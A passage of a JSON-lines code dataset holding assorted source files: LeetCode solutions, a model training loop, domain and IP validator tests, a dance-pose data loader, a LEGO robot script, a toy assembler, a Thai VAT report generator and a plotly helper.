int\n \"\"\"\n dic_chars=self.create_dic(chars)\n result=0\n for word in words:\n dic_word = self.create_dic(word)\n count=0\n for key in dic_word:\n if key in dic_chars and dic_word[key] <= dic_chars[key]:\n count+=1\n if count==len(dic_word):\n result+=len(word)\n \n return result","sub_path":"Python/Easy/1160. Find Words That Can Be Formed by Characters.py","file_name":"1160. Find Words That Can Be Formed by Characters.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"639569936","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n# https://leetcode.com/problems/trapping-rain-water/solution/\n\n# 动态规划\n# youtube.com/watch?v=wz00uI9mDXA\n# 每个槽需要知道左边最高和右边最高,能承载的水量是当前的min(right_highest, left_highest[i]) - height[i]。\n# Time complexity: O(n)\n# Space complexity: O(n)\nclass Solution:\n def trap(self, height: List[int]) -> int:\n if not height:\n return 0\n\n ans = 0\n\n left_highest = [0] * len(height)\n for i in range(1, len(left_highest)):\n left_highest[i] = max(left_highest[i - 1], height[i - 1])\n\n right_highest = 0\n for i in range(len(height) - 1, -1, -1):\n temp = min(right_highest, left_highest[i]) - height[i]\n if temp > 0:\n ans += temp\n right_highest = max(right_highest, height[i])\n\n return ans\n\n\n# 双指针方法\n# https://leetcode.com/problems/trapping-rain-water/discuss/17391/Share-my-short-solution.\n","sub_path":"leetcode_python/42.Trapping_Rain_Water.py","file_name":"42.Trapping_Rain_Water.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"91876465","text":"'''\nYou have a grid of size n x 3 and you want to paint each cell of the grid with exactly one of the three colors: Red, Yellow, or Green while making sure that no two adjacent cells have the same color (i.e., no two cells that share vertical or horizontal sides have the same color).\n\nGiven n the number of rows of the grid, return the number of ways you can paint this grid. As the answer may grow large, the answer must be computed modulo 109 + 7.\n'''\nclass Solution:\n def numOfWays(self, n: int) -> int:\n a121, a123, MOD = 6, 6, 10**9 + 7\n for i in range(n - 1):\n a121, a123 = 3*a121 + 2*a123, 2*a121 + 2*a123\n return (a121+a123)%MOD\n","sub_path":"questions/1411. Number of Ways to Paint N × 3 Grid/number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"414182461","text":"import time\nfrom tqdm import tqdm\n\nimport torch\nfrom torch.optim import Adam\n\nfrom utils.help import NormalMetric, ReferMetric\nfrom utils.help import iterable_support, expand_list\n\nfrom transformers import AdamW\n\n\ndef training(model, data_iter, max_grad=10.0, bert_lr=1e-5, pretrained_model=\"none\"):\n model.train()\n\n # using pretrain model need to change optimizer (Adam -> AdamW).\n if pretrained_model != \"none\":\n optimizer = AdamW(model.parameters(), lr=bert_lr, correct_bias=False)\n else:\n optimizer = Adam(model.parameters(), weight_decay=1e-8)\n time_start, total_loss = time.time(), 0.0\n\n for data_batch in tqdm(data_iter, ncols=50):\n batch_loss = model.measure(*data_batch)\n total_loss += batch_loss.cpu().item()\n\n optimizer.zero_grad()\n batch_loss.backward()\n torch.nn.utils.clip_grad_norm_(\n model.parameters(), max_grad\n )\n optimizer.step()\n\n time_con = time.time() - time_start\n return total_loss, time_con\n\n\ndef evaluate(model, data_iter, normal_metric):\n model.eval()\n\n gold_sent, pred_sent = [], []\n gold_act, pred_act = [], []\n time_start = time.time()\n\n for utt, sent, act, adj, adj_full, adj_I in tqdm(data_iter, ncols=50):\n gold_sent.extend(sent)\n gold_act.extend(act)\n\n with torch.no_grad():\n p_sent, p_act = model.predict(utt, adj, adj_full, adj_I)\n pred_sent.extend(p_sent)\n pred_act.extend(p_act)\n\n if not normal_metric:\n reference = ReferMetric(\n len(model.sent_vocab), len(model.act_vocab),\n model.sent_vocab.index(\"+\"), model.sent_vocab.index(\"-\")\n )\n else:\n reference = NormalMetric()\n\n pred_sent = iterable_support(model.sent_vocab.index, pred_sent)\n gold_sent = iterable_support(model.sent_vocab.index, gold_sent)\n pred_act = iterable_support(model.act_vocab.index, pred_act)\n gold_act = iterable_support(model.act_vocab.index, gold_act)\n\n pred_sent = expand_list(pred_sent)\n gold_sent = expand_list(gold_sent)\n pred_act = expand_list(pred_act)\n gold_act = expand_list(gold_act)\n\n sent_f1, sent_r, sent_p = reference.validate_emot(pred_sent, gold_sent)\n act_f1, act_r, act_p = reference.validate_act(pred_act, gold_act)\n\n time_con = time.time() - time_start\n return sent_f1, sent_r, sent_p, act_f1, act_r, act_p, time_con\n","sub_path":"utils/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"313776907","text":"import pytest\n\nimport mascarpone.validators as v\n\n\n@pytest.mark.parametrize(\n \"ip_address\",\n [\n \"192.168.0.135\",\n \"1.1.1.1\",\n \"8.8.8.8\",\n \"216.49.176.43\",\n \"255.255.255.255\",\n \"2620:0:ccc::2\",\n \"2001:4860:4860::8888\",\n ],\n)\ndef test_valid_ipv6_is_marked_valid(ip_address):\n assert v.validate_ip_address(ip_address)\n\n\n@pytest.mark.parametrize(\"ip_address\", [\"\", \"1.1.256.1\", \"8.8.8.\", \"8.8.8\"])\ndef test_invalid_ip_addresses_marked_invalid(ip_address):\n assert not v.validate_ip_address(ip_address)\n\n\n@pytest.mark.parametrize(\n \"domain\",\n [\n \"evil.org\",\n \"aa.aa\",\n \"ads.linkedin.com\",\n \"ad.gt\",\n \"analytics.yahoo.com\",\n \"clicktale.net\",\n \"dwin2.com\",\n \"hs-analytics.net\",\n \"this_is.fine\",\n ],\n)\ndef test_valid_domains(domain):\n assert v.validate_domain(domain)\n\n\n@pytest.mark.parametrize(\n \"domain\",\n [\n \"a.a\",\n \"\",\n \"this_is_not_a_domain\",\n \"thisisnotadomaineither\",\n \"__.__\",\n \"this_is_.notfine\",\n ],\n)\ndef test_invalid_domains(domain):\n assert not v.validate_domain(domain)\n\n\ndef test_valid_upsert():\n assert not v.validate_upsert({\"domain\": \"evil.org\", \"redirect\": \"127.0.0.1\"})\n\n\ndef test_validate_upsert_does_not_double_errors():\n assert len(v.validate_upsert({})) == 2\n assert len(v.validate_upsert({\"domain\": \"\", \"insert\": \"\"})) == 2\n","sub_path":"test/test_validators.py","file_name":"test_validators.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"309420145","text":"# Copyright 2021, Google LLC.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"A library for loading AIST++ dataset.\"\"\"\nimport glob\nimport json\nimport os\nimport pickle\n\nfrom absl import logging\nimport numpy as np\n\n\n_LOG_FILE_JSON_EMPTY = 'json_empty_list.txt'\n_LOG_FILE_JSON_MISSING = 'json_missing_list.txt'\n_LOG_FILE_JSON_ZERO_PERSON = 'json_zero_person_list.txt'\n_LOG_FILE_JSON_MULTI_PERSON = 'json_multi_person_list.txt'\n\n\ndef write_log(log_dir, filename, content):\n if log_dir is None:\n return\n os.makedirs(log_dir, exist_ok=True)\n path = os.path.join(log_dir, filename)\n with open(path, 'a') as f:\n f.write(content + '\\n')\n\n\ndef array_nan(shape, dtype=np.float32):\n array = np.empty(shape, dtype=dtype)\n array[:] = np.nan\n return array\n\n\ndef get_video_name(video_name, view):\n \"\"\"Get AIST video name for a specific view.\"\"\"\n splits = video_name.split('_')\n splits[2] = view\n return '_'.join(splits)\n\n\ndef get_audio_name(video_name):\n \"\"\"Get AIST audio name for a specific video.\"\"\"\n splits = video_name.split('_')\n return splits[-2]\n\n\ndef get_tempo(audio_name):\n \"\"\"Get tempo (BPM) for a audio by parsing audio name.\"\"\"\n assert len(audio_name) == 4\n if audio_name[0:3] in [\n 'mBR', 'mPO', 'mLO', 'mMH', 'mLH', 'mWA', 'mKR', 'mJS', 'mJB'\n ]:\n return int(audio_name[3]) * 10 + 80\n elif audio_name[0:3] == 'mHO':\n return int(audio_name[3]) * 5 + 110\n else:\n assert False, audio_name\n\n\ndef load_pkl(path, keys=None):\n \"\"\"Load AIST++ annotations from pkl file.\"\"\"\n with open(path, 'rb') as f:\n data = pickle.load(f)\n annos = data['pred_results']\n assert annos, f'data {path} has empty annotations'\n out = {}\n\n # smpl related\n if 'smpl_loss' in data and ('smpl_loss' in keys if keys else True):\n # a single float\n out.update({'smpl_loss': data['smpl_loss']})\n\n if 'smpl_joints' in annos[0] and ('smpl_joints' in keys if keys else True):\n # [nframes, 24, 3]\n out.update({\n 'smpl_joints':\n np.stack([anno['smpl_joints'] for anno in annos])\n [:, :24, :].astype(np.float32)\n })\n if 'smpl_pose' in annos[0] and ('smpl_poses' in keys if keys else True):\n # [nframes, 24, 3]\n out.update({\n 'smpl_poses':\n np.stack([anno['smpl_pose'] for anno in annos]\n ).reshape(-1, 24, 3).astype(np.float32)\n })\n if 'smpl_shape' in annos[0] and ('smpl_shape' in keys if keys else True):\n # [nframes, 10]\n out.update({\n 'smpl_shape':\n np.stack([anno['smpl_shape'] for anno in annos]).astype(np.float32)\n })\n if 'scaling' in annos[0] and ('smpl_scaling' in keys if keys else True):\n # [nframes, 1]\n out.update({\n 'smpl_scaling':\n np.stack([anno['scaling'] for anno in annos]).astype(np.float32)\n })\n if 'transl' in annos[0] and ('smpl_trans' in keys if keys else True):\n # [nframes, 3]\n out.update({\n 'smpl_trans':\n np.stack([anno['transl'] for anno in annos]).astype(np.float32)\n })\n if 'verts' in annos[0] and ('smpl_verts' in keys if keys else True):\n # [nframes, 6890, 3]\n out.update({\n 'smpl_verts':\n np.stack([anno['verts'] for anno in annos]).astype(np.float32)\n })\n\n # 2D and 3D keypoints\n if 'keypoints2d' in annos[0] and ('smpl_verts' in keys if keys else True):\n # [9, nframes, 17, 3]\n out.update({\n 'keypoints2d':\n np.stack([anno['keypoints2d'] for anno in annos],\n axis=1).astype(np.float32)\n })\n if 'keypoints3d' in annos[0] and ('keypoints3d' in keys if keys else True):\n # [nframes, 17, 3]\n out.update({\n 'keypoints3d':\n np.stack([anno['keypoints3d'] for anno in annos]).astype(np.float32)\n })\n if 'keypoints3d_optim' in annos[0] and ('keypoints3d_optim' in keys\n if keys else True):\n # [nframes, 17, 3]\n out.update({\n 'keypoints3d_optim':\n np.stack([anno['keypoints3d_optim'] for anno in annos]\n ).astype(np.float32)\n })\n\n # timestamps for each frame, in ms.\n if 'timestamp' in annos[0] and ('timestamps' in keys if keys else True):\n # [nframes,]\n out.update({\n 'timestamps':\n np.stack([anno['timestamp'] for anno in annos]).astype(np.int32)\n })\n\n # human detection score\n if 'det_scores' in annos[0] and ('det_scores' in keys if keys else True):\n # [9, nframes]\n out.update({\n 'det_scores':\n np.stack([anno['det_scores'] for anno in annos],\n axis=1).astype(np.int32)\n })\n\n return out\n\n\ndef load(path):\n \"\"\"Load AIST++ annotations.\"\"\"\n if path[-4:] == '.pkl':\n return load_pkl(path)\n else:\n assert False, f'{path} should be a pkl file'\n\n\ndef load_keypoints2d_file(path, n_joints=17, log_dir=None):\n \"\"\"load 2D keypoints file from centernet results.\n\n Only one person is extracted from the results. If there are multiple\n persons in the prediction results, we select the one with the highest\n detection score.\n\n Args:\n path: the json file path.\n n_joints: number of joints. e.g., 17.\n log_dir: dictionary to store the log.\n\n Returns:\n A `np.array` with the shape of [n_joints, 3].\n \"\"\"\n with open(path, 'r') as f:\n try:\n data = json.load(f)\n except Exception as e: # pylint: disable=broad-except\n logging.warning(e)\n write_log(log_dir, _LOG_FILE_JSON_EMPTY, content=path)\n keypoint = array_nan((n_joints, 3), dtype=np.float32)\n return keypoint\n detection_scores = np.array(data['detection_scores'])\n keypoints = np.array(data['keypoints']).reshape((-1, n_joints, 3))\n\n # the detection results may contain zero person or multiple people.\n if detection_scores.shape[0] == 0:\n write_log(log_dir, _LOG_FILE_JSON_ZERO_PERSON, content=path)\n keypoint = array_nan((n_joints, 3), dtype=np.float32)\n return keypoint, 0.0\n elif detection_scores.shape[0] == 1:\n keypoint = keypoints[0]\n det_score = detection_scores[0]\n return keypoint, det_score\n else:\n write_log(log_dir, _LOG_FILE_JSON_MULTI_PERSON, content=path)\n idx = np.argmax(detection_scores)\n keypoint = keypoints[idx]\n det_score = detection_scores[idx]\n return keypoint, det_score\n\n\ndef load_keypoints2d(data_dir, video_name, views=None, log_dir=None):\n \"\"\"Load 2D keypoints predictions from centernet.\"\"\"\n\n # load single view or all views\n if views is None:\n video_names = [video_name]\n else:\n video_names = [get_video_name(video_name, view) for view in views]\n\n # in case frames are missing, we first scan all views to get a union\n # of timestamps.\n paths_cache = {}\n timestamps = []\n for video_name in video_names:\n paths = sorted(glob.glob(os.path.join(data_dir, video_name, '*.json')))\n paths_cache[video_name] = paths\n timestamps += [int(p.split('.')[0].split('_')[-1]) for p in paths]\n timestamps = sorted(list(set(timestamps)))\n\n # then we load all frames according to timestamps.\n # if some frames do not exist, we mark them as np.nan\n keypoints2d = []\n det_scores = []\n for video_name in video_names:\n paths = [\n os.path.join(data_dir, video_name, f'{video_name}_{ts}.json')\n for ts in timestamps\n ]\n keypoints2d_per_view = []\n det_scores_per_view = []\n for path in paths:\n if path in paths_cache[video_name]:\n keypoint, det_score = load_keypoints2d_file(\n path, n_joints=17, log_dir=log_dir)\n keypoints2d_per_view.append(keypoint)\n det_scores_per_view.append(det_score)\n else:\n write_log(log_dir, _LOG_FILE_JSON_MISSING, content=path)\n keypoints2d_per_view.append(array_nan((17, 3), dtype=np.float32))\n det_scores_per_view.append(0.0)\n keypoints2d.append(keypoints2d_per_view)\n det_scores.append(det_scores_per_view)\n\n keypoints2d = np.array(keypoints2d, dtype=np.float32)\n det_scores = np.array(det_scores, dtype=np.float32)\n return keypoints2d, det_scores, timestamps\n","sub_path":"tools/aist_preprocess/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":8456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"391453344","text":"#!/usr/bin/env pybricks-micropython\n\n\nfrom pybricks.hubs import EV3Brick\nfrom pybricks.ev3devices import Motor, TouchSensor, InfraredSensor, ColorSensor\nfrom pybricks.media.ev3dev import SoundFile\nfrom pybricks.parameters import Button, Color, Direction, Port, Stop\nfrom pybricks.tools import wait\n\nfrom random import randint\n\n# import sys\n# sys.path.append('/home/robot')\nfrom util.drive_util_pybricks import IRBeaconRemoteControlledTank\n\n\nclass Kraz3(IRBeaconRemoteControlledTank, EV3Brick):\n WHEEL_DIAMETER = 24\n AXLE_TRACK = 100\n\n def __init__(\n self,\n left_motor_port: Port = Port.C, right_motor_port: Port = Port.B,\n wiggle_motor_port: Port = Port.A,\n polarity: str = 'inversed',\n touch_sensor_port: Port = Port.S1,\n color_sensor_port: Port = Port.S3,\n ir_sensor_port: Port = Port.S4, ir_beacon_channel: int = 1,\n debug: bool = False):\n super().__init__(\n wheel_diameter=self.WHEEL_DIAMETER, axle_track=self.AXLE_TRACK,\n left_motor_port=left_motor_port, right_motor_port=right_motor_port,\n polarity=polarity,\n ir_sensor_port=ir_sensor_port, ir_beacon_channel=ir_beacon_channel,\n debug=debug)\n\n self.wiggle_motor = Motor(port=wiggle_motor_port,\n positive_direction=Direction.CLOCKWISE)\n\n self.touch_sensor = TouchSensor(port=touch_sensor_port)\n\n self.color_sensor = ColorSensor(port=color_sensor_port)\n\n self.ir_beacon_channel = ir_beacon_channel\n\n def kungfu_manoeuvre_if_touched_or_remote_controlled(self):\n \"\"\"\n Kung-Fu manoeuvre via Touch Sensor and Remote Control of head and arms\n \"\"\"\n if self.touch_sensor.pressed():\n self.speaker.play_file(file=SoundFile.KUNG_FU)\n\n self.wiggle_motor.run_angle(\n speed=500,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n elif Button.BEACON in \\\n self.ir_sensor.buttons(channel=self.ir_beacon_channel):\n self.wiggle_motor.run(speed=111)\n\n else:\n self.wiggle_motor.stop()\n\n def kungfu_manoeuvre_whenever_touched_or_remote_controlled(self):\n while True:\n self.kungfu_manoeuvre_if_touched_or_remote_controlled()\n\n def react_to_color(self):\n detected_color = self.color_sensor.color()\n\n if detected_color == Color.YELLOW:\n self.speaker.play_file(file=SoundFile.YELLOW)\n\n self.wiggle_motor.run_angle(\n speed=-860,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n self.speaker.play_file(file=SoundFile.UH_OH)\n\n wait(500)\n\n self.speaker.play_file(file=SoundFile.SNEEZING)\n\n wait(500)\n\n elif detected_color == Color.RED:\n self.speaker.play_file(file=SoundFile.SHOUTING)\n\n for _ in range(randint(1, 6)):\n self.speaker.play_file(file=SoundFile.SMACK)\n\n self.light.on(color=Color.RED)\n\n self.wiggle_motor.run_angle(\n speed=170,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n self.speaker.play_file(file=SoundFile.LEGO)\n self.speaker.play_file(file=SoundFile.MINDSTORMS)\n\n self.light.off()\n\n elif detected_color == Color.BROWN:\n self.speaker.play_file(file=SoundFile.BROWN)\n\n wait(1000)\n\n self.wiggle_motor.run_angle(\n speed=-200,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n self.speaker.play_file(file=SoundFile.CRYING)\n\n elif detected_color == Color.GREEN:\n self.speaker.play_file(file=SoundFile.GREEN)\n\n self.wiggle_motor.run_angle(\n speed=-400,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n self.speaker.play_file(file=SoundFile.YES)\n\n wait(1000)\n\n elif detected_color == Color.BLUE:\n self.speaker.play_file(file=SoundFile.BLUE)\n\n self.speaker.play_file(file=SoundFile.FANTASTIC)\n\n self.speaker.play_file(file=SoundFile.GOOD_JOB)\n\n self.wiggle_motor.run_angle(\n speed=750,\n rotation_angle=360,\n then=Stop.HOLD,\n wait=True)\n\n self.speaker.play_file(file=SoundFile.MAGIC_WAND)\n\n def keep_reacting_to_colors(self):\n while True:\n self.react_to_color()\n\n def main(self):\n while True:\n self.drive_once_by_ir_beacon()\n\n self.kungfu_manoeuvre_if_touched_or_remote_controlled()\n\n self.react_to_color()\n\n\nif __name__ == '__main__':\n KRAZ3 = Kraz3()\n\n KRAZ3.main()\n","sub_path":"Computing-Platforms/EV3/Home-Edition/Fan-Robots/Kraz3/kraz3_pybricks.py","file_name":"kraz3_pybricks.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"272253768","text":"# sas.py - simple scram assembler from human readable instruction files to\n# binary output.\n\n# Gideon Hou & Jose Nino\n# EN.600.233 Computer System Fundamentals\n# 09/28/2014\n\nimport sys\n\nencoding = {\n \"HLT\": 0b0000, \"LDA\": 0b0001, \"LDI\": 0b0010,\n \"STA\": 0b0011, \"STI\": 0b0100, \"ADD\": 0b0101,\n \"SUB\": 0b0110, \"JMP\": 0b0111, \"JMZ\": 0b1000,\n \"DAT\": 0b1111,\n}\n\nMAX_SIZE = 16\n\n\ndef removeEmptyLines(data):\n no_empty_lines = []\n for line in data:\n if line.rstrip():\n no_empty_lines.append(line)\n return no_empty_lines\n\n\ndef removeComments(data):\n noComments = []\n for line in data:\n # This assumes the order that was given on the website of\n # label OPCODE ADDRESS #comment\n noCommentsLine = line.split(\"#\", 1)[0]\n noComments.append(noCommentsLine)\n return noComments\n\n\ndef splitLines(data):\n splitLines = []\n for line in data:\n lineSplit = line.rstrip()\n lineSplit = lineSplit.split()\n splitLines.append(lineSplit)\n return splitLines\n\n\ndef validateLineLengths(data):\n checked = []\n for line in data:\n if line[0].endswith(\":\") or (line[0] in encoding):\n # it is a line with a label\n if line[0].endswith(\":\"):\n if (len(line) == 3):\n checked.append(line)\n elif (len(line) == 2 and line[1] == 'HLT'):\n checked.append(line)\n elif len(line) == 1:\n checked.append(line)\n else:\n sys.stderr.write(\"Your line has a syntax error: \" +\n str(line) + \"\\n\")\n sys.exit(0)\n # if OPCODE is HLT, then does not need to have ADDR\n # it is an OPCODE\n else:\n if (len(line) == 2):\n checked.append(line)\n elif (len(line) == 1 and line[0] == 'HLT'):\n checked.append(line)\n else:\n sys.stderr.write(\"Your line has a syntax error: \" +\n str(line) + \"\\n\")\n sys.exit(0)\n else:\n sys.stderr.write(\"Your file contains a syntax error at: \" +\n str(line) + \"\\n\")\n sys.exit(0)\n return checked\n\n\ndef removeLabels(data):\n noLabels = []\n label_mappings = {}\n counter = 0\n for line in data:\n if (line[0].endswith(':')):\n label_mappings[line[0][:-1]] = counter\n # we have an instruction or something else\n if len(line) > 1:\n noLabels.append(line[1:])\n counter += 1\n else:\n noLabels.append(line)\n counter += 1\n if counter > 16:\n sys.stderr.write(\"You have too many instructions!!!\")\n sys.exit(0)\n return label_mappings, noLabels\n\n\ndef checkOPCODE(data):\n for line in data:\n if (not (line[0] in encoding)):\n sys.stderr.write(\"Your OPCODE: \" + str(line[0]) + \" is illegal\\n\")\n sys.exit(0)\n return data\n\n\ndef replaceCharForInt(data):\n for line in data:\n if len(line) == 2:\n try:\n line[1] = int(line[1])\n except ValueError:\n # It is ok! we will check if the characters make sense later\n continue\n return data\n\n\ndef replaceLabels(mappings, data):\n for line in data:\n if (len(line) == 2) and (not isinstance(line[1], int)):\n # We could have had a label with number 16 but it cant be used\n if ((line[1] in mappings) and mappings[line[1]] < MAX_SIZE):\n line[1] = mappings[line[1]]\n else:\n sys.stderr.write(\"You did not define the label: \" +\n str(line[1]) + \"\\n\")\n sys.exit(0)\n return data\n\n\ndef validateLength(data):\n for i in range(0, len(data)):\n if (data[i][0] == 'DAT'):\n if data[i][1] > 255:\n sys.stderr.write(\"Your data at operation: \" + str(i) + \".\" +\n str(data[i][0]) +\n \"cannot be more than 8bits long\")\n sys.exit(0)\n elif data[i][0] == \"HLT\":\n continue\n else:\n if (data[i][1] > MAX_SIZE - 1):\n sys.stderr.write(\"Your address at operation: \" + str(i) + \".\" +\n str(data[i][0]) +\n \"is bigger than the maximum size of memory\")\n sys.exit(0)\n\n\ndef convertToBinary(data):\n for line in data:\n if line[0] == 'DAT':\n line[0] = line[1]\n line.pop(1)\n elif line[0] == 'HLT':\n if len(line) > 1:\n line[0] = encoding[line[0]]\n line.pop(1)\n else:\n line[0] = encoding[line[0]]\n else:\n line[0] = encoding[line[0]]\n line[1] = line[1]\n return data\n\n\ndef merge(data):\n numberArr = []\n for line in data:\n if len(line) == 2:\n line[0] = line[0] << 4\n line[0] = line[0] | line[1]\n numberArr.append(line[0])\n else:\n numberArr.append(line[0])\n return numberArr\n\n\ndef main():\n # Read in input\n data = sys.stdin.readlines()\n\n # Delete Comments\n data = removeComments(data)\n\n # Delete Empty lines\n data = removeEmptyLines(data)\n\n # Split each line\n data = splitLines(data)\n\n # Condense labels\n data = validateLineLengths(data)\n\n # Remove labels and create mappings\n data_with_labels_mappings = removeLabels(data)\n label_mappings = data_with_labels_mappings[0]\n data = data_with_labels_mappings[1]\n\n # Check all OPCODES are legal\n data = checkOPCODE(data)\n\n # Replace char ints to real ints\n data = replaceCharForInt(data)\n\n # Replace labels\n data = replaceLabels(label_mappings, data)\n\n # Check that all numbers are within allowed range\n validateLength(data)\n\n # Convert to binary\n data = convertToBinary(data)\n\n # merge data\n data = merge(data)\n\n # Convert to binary and write\n byteRep = bytearray(data)\n sys.stdout.write(byteRep)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"HW3/sas.py","file_name":"sas.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"568415931","text":"# -*- encoding: utf-8 -*-\n#from report.interface import report_int\nfrom openerp.report.interface import report_int\nfrom report_tools import pdf_fill, pdf_merge\nfrom openerp.osv import fields, osv\n\nfrom openerp import pooler\nfrom num2word import num2word_th\nimport datetime\nimport os\n\ndef fmt_tin(tin):\n return \"%s %s%s%s%s %s%s%s%s%s %s%s %s\"%(tin[0],tin[1],tin[2],tin[3],tin[4],tin[5],tin[6],tin[7],tin[8],tin[9],tin[10],tin[11],tin[12])\n\ndef set_satang(vals):\n for key in vals.keys():\n if key.startswith(\"tax\"):\n amt=vals[key]\n vals[key]=int(amt)\n vals[key.replace(\"tax\",\"st\")]=int(amt*100.0)%100\n\ndef fmt_thaidate(date):\n dt=datetime.datetime.strptime(date,\"%Y-%m-%d\")\n return \"%2d/%d/%d\"%(dt.day,dt.month,dt.year+543) \n\n\nclass report_custom(report_int):\n def create(self,cr,uid,ids,datas,context={}):\n #print \"WHT PND3 Report\" \n pool=pooler.get_pool(cr.dbname)\n lang=pool.get(\"res.lang\").browse(cr,uid,1) \n user=pool.get(\"res.users\").browse(cr,uid,uid)\n pdf = False\n for id in ids:\n vouch = pool.get(\"account.period\").browse(cr,uid,id) \n company = vouch.company_id\n \n yearnow=int(vouch.date_pp30[0:4])+543\n monthnow=int(vouch.date_pp30[5:7])\n daynow=int(vouch.date_pp30[8:10])\n \n# daynow = datetime.datetime.now().day\n# monthnow = datetime.datetime.now().month\n# yearnow = int(datetime.datetime.now().year)+543\n \n \n sale_untax = vouch.sale_amount_untaxed - vouch.sale_refund_amount_untaxed + (vouch.sale_receipt_amount_untaxed - vouch.sale_receipt_amount_tax)\n sale_tax = vouch.sale_amount_tax - vouch.sale_refund_amount_tax + vouch.sale_receipt_amount_tax\n purchase_untax = vouch.purchase_amount_untaxed - vouch.purchase_refund_amount_untaxed + (vouch.purchase_receipt_amount_untaxed - vouch.purchase_receipt_amount_tax)\n purchase_tax = vouch.purchase_amount_tax - vouch.purchase_refund_amount_tax + vouch.purchase_receipt_amount_tax\n \n \n vals={\n \"Text1\":company.vat and fmt_tin(company.vat) or \"\",\n \"Text57\":company.ineco_branch or '',\n \"name_place\":company.ineco_company_name, \n \"number\":company.ineco_building or '',\n \"room_no\":company.ineco_room_no or '',\n \"floor\":company.ineco_class or '',\n \"village\":company.ineco_village or '',\n \"add_no\":company.ineco_no or '',\n \"moo\":company.ineco_moo or '',\n \"soi\":company.ineco_alley or '',\n \"road\":company.ineco_road or '',\n \"district\":company.ineco_district or '',\n \"amphur\":company.ineco_amphoe or '',\n \"province\":company.ineco_province or '',\n \"Text58\":company.ineco_zip or '',\n \"tel\":company.ineco_phone or '',\n \"year\":yearnow,\n \"Text53\":lang.format(\"%.2f\",sale_untax,grouping=True).replace(\".\",\" \"),\n \"Text47\":lang.format(\"%.2f\",sale_untax,grouping=True).replace(\".\",\" \"),\n \"Text30\":lang.format(\"%.2f\",sale_tax,grouping=True).replace(\".\",\" \"),\n \"Text51\":lang.format(\"%.2f\",purchase_untax,grouping=True).replace(\".\",\" \"),\n \"Text52\":lang.format(\"%.2f\",purchase_tax,grouping=True).replace(\".\",\" \"), \n \"signature4\": company.ineco_name or '',\n \"date\":str(daynow)+\"/\"+ str(monthnow)+\"/\"+ str(yearnow), \n \n }\n if sale_tax >= purchase_tax:\n vat = sale_tax - purchase_tax\n vals.update({\n \"Text34\":lang.format(\"%.2f\",vat,grouping=True).replace(\".\",\" \"),\n \"Text38\":lang.format(\"%.2f\",vat,grouping=True).replace(\".\",\" \"), \n \"'Check Box11'\": \"Yes\",\n })\n else:\n vat = purchase_tax - sale_tax\n vals.update({\n \"Text35\":lang.format(\"%.2f\",vat,grouping=True).replace(\".\",\" \"),\n \"Text39\":lang.format(\"%.2f\",vat,grouping=True).replace(\".\",\" \"), \n \"'Check Box12'\": \"Yes\",\n }) \n\n SITE_ROOT = os.path.abspath(os.path.dirname(__file__))\n PDF_FILE = \"%s/pdf/pp30.pdf\" % (SITE_ROOT)\n pdf2=pdf_fill(PDF_FILE, vals)\n\n #pdf2=pdf_fill(\"openerp/addons/ineco_thai_account/report/pdf/pp30.pdf\",vals)\n if pdf:\n pdf = pdf_merge(pdf, pdf2)\n else:\n pdf = pdf2\n \n return (pdf, \"pdf\")\n\nreport_custom(\"report.pp30\")\n","sub_path":"ineco_thai_account/report/pp30.py","file_name":"pp30.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"310404025","text":"import plotly.express as px\nimport plotly.graph_objects as go\nimport plotly.io as pio\nimport numpy as np\nimport casadi as cas\nimport matplotlib.pyplot as plt\nimport matplotlib.style as style\nimport seaborn as sns\nplt.ion()\nsns.set(font_scale=1)\n\n# Set the rendering to happen in browser\npio.renderers.default = \"browser\"\n\ndef reflect_over_XZ_plane(input_vector):\n # Takes in a vector or an array and flips the y-coordinates.\n output_vector = input_vector\n shape = output_vector.shape\n if len(shape) == 1 and shape[0] == 3:\n output_vector = output_vector * cas.vertcat(1, -1, 1)\n elif len(shape) == 2 and shape[1] == 1 and shape[0] == 3: # Vector of 3 items\n output_vector = output_vector * cas.vertcat(1, -1, 1)\n elif len(shape) == 2 and shape[1] == 3: # 2D Nx3 vector\n output_vector = cas.horzcat(output_vector[:, 0], -1 * output_vector[:, 1], output_vector[:, 2])\n # elif len(shape) == 3 and shape[2] == 3: # 3D MxNx3 vector\n # output_vector = output_vector * cas.array([1, -1, 1])\n else:\n raise Exception(\"Invalid input for reflect_over_XZ_plane!\")\n\n return output_vector\n\n\nclass Figure3D:\n def __init__(self):\n self.fig = go.Figure()\n\n # Vertices of the faces\n 